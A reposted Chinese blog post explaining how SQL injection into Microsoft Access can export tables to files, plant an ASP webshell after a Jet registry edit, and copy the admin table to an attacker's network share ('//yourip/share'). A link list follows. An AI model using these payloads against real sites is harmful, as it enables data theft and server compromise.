SQL注入Access导出WebShell

转载 2011年01月25日 12:48:00

 

已经听N个人过说有人已经发现SQL注入Access得到webshell的技术了,也只是听说而已,具体的细节还是不得而知。

最近在看的书中一章提到Jet的安全,然后灵光一闪,呵呵,发现了一种可以利用access导出asp的方法,分享之。

几个月之前网上就流传利用SQL注入Access导出数据库内容到文本文件(可导出txthtmhtml等格式)的方法:

 

SELECT * into [test.txt] in 'd:/web/' 'text;' from admin

 

执行上述语句,在d:/web目录下就会生成test.txt文件,其内容就是表admin的内容。但是导出asp格式就不行,会说“不能更新,数据库或对象为只读”。

其实控制导出文件后缀是存储在注册表的,具体键值是HKEY_LOCALMACHINE/Software/Microsoft/Jet/4.0/Engines/Text/DisableExtension,默认情况下值为“!txt,csv,tab,asc,tmp,htm,html”,如果我们把asp也添加进去的话,呵呵,就可以导出asp格式的文件了。

这个方法跟那个调用AccessShell函数执行命令一样,要修改注册表,所以利用不是很大。

顺便提一下,前面提到的导出文本文件的方法如果不知道web路径貌似可以导出到自己机器的哦:SELECT * into [test.txt] in '//yourip/share' 'text;' from admin

 

 

 

 

 

本文转载自lake2

 

举报

相关文章推荐

DVWA之从SQL注入到写入webshell

转自:http://www.nxadmin.com/penetration/1141.html 这篇文章谈论简单的技术,利用sql注入(SQLi)漏洞,并获得一个webshell,所有的演示都是...

将access导入SQL server

将access导入SQL server 熟悉SQL SERVER 2000的数据库管理员都知道,其DTS可以进行数据的导入导出,其实,我们也可以使用Transact-SQL语句进行导入导出操作。在 ...

精选:深入理解 Docker 内部原理及网络配置

网络绝对是任何系统的核心,对于容器而言也是如此。Docker 作为目前最火的轻量级容器技术,有很多令人称道的功能,如 Docker 的镜像管理。然而,Docker的网络一直以来都比较薄弱,所以我们有必要深入了解Docker的网络知识,以满足更高的网络需求。

Access SQL注入参考

Access SQL注入参考   描述 SQL查询及注释 注释符 Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NUL...

Access SQL注入参考

2008-05-29 22:48 Access SQL注入参考 版本 0.2.1 (最近更新 10/10/2007) 恶魔傻...

sql 导入导出

/*******  导出到excel EXEC master..xp_cmdshell 'bcp SettleDB.dbo.shanghu out c:\temp1.xls -c -q - S...

SQL2008与Access数据库相互导入导出

SQL2008数据库的导入导出数据功能,可以通过Microsoft Server Management Studio管理工具里面的导入导出来实现或者通过Transact-SQL语句进行导入导出操作。在...

POI 注解方式 导入导出 excel , 只依赖于 POI包

对 excel 导入导出, 使用注解的方式, 方便转换成对象,或者 由对象输出到 输出流 的excel; 只用在 model 里面加入少量注解, 就可以方便的进行导入导出操作了!

SQL语句导入导出大全,包括excel,access

转自这里 SQL语句导入导出大全,包括excel,access /*******  导出到excel  EXEC master..xp_cmdshell ’bcp SettleDB....

ASP连EXECL及导入导出ACCESS操作SQL

dim connset conn=server.createobject("adodb.connection")conn.open "driver={Microsoft Excel Driver (*...

实现SQL Server与Access、Excel数据表间的导入导出

在SQL SERVER 2000/2005中除了使用DTS进行数据的导入导出,我们也可以使用Transact-SQL语句进行导入导出操作。在Transact-SQL语句中,我们主要使用OpenData...
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)